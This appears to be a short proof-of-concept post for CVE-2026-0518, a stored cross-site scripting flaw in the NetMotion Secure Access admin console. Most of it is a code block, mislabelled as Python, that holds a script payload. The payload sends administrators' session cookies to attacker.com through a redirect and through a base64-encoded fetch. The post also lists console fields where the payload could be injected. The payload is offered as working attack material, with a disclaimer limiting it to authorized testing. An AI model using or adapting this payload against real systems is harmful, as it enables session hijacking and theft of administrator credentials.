CVE-2026-0518 is a cross-site scripting vulnerability in versions of
Secure Access prior to 14.20. An attacker with administrative privileges
can interfere with another administrator’s use of the console.
The following code is for security research and authorized testing only.
python
// CVE-2026-0518 PoC - Stored XSS in NetMotion Secure Access
// Note: Requires administrator privileges
// This PoC demonstrates the XSS vulnerability in the admin console
// The attacker injects malicious JavaScript that executes when another admin views the page
// Example malicious payload that could be injected:
var poc_payload = `
<script>
// Steal session cookies
document.location='https://attacker.com/steal?cookie='+document.cookie;
// Or perform actions on behalf of the admin
fetch('https://attacker.com/log?data='+btoa(document.cookie));
</script>
`;
// In practice, the attacker would inject this via:
// 1. Admin console settings/configuration fields
// 2. User management fields
// 3. Policy configuration areas
// 4. Any field that doesn't properly sanitize input
// When another administrator accesses the affected page,
// the script executes in their browser context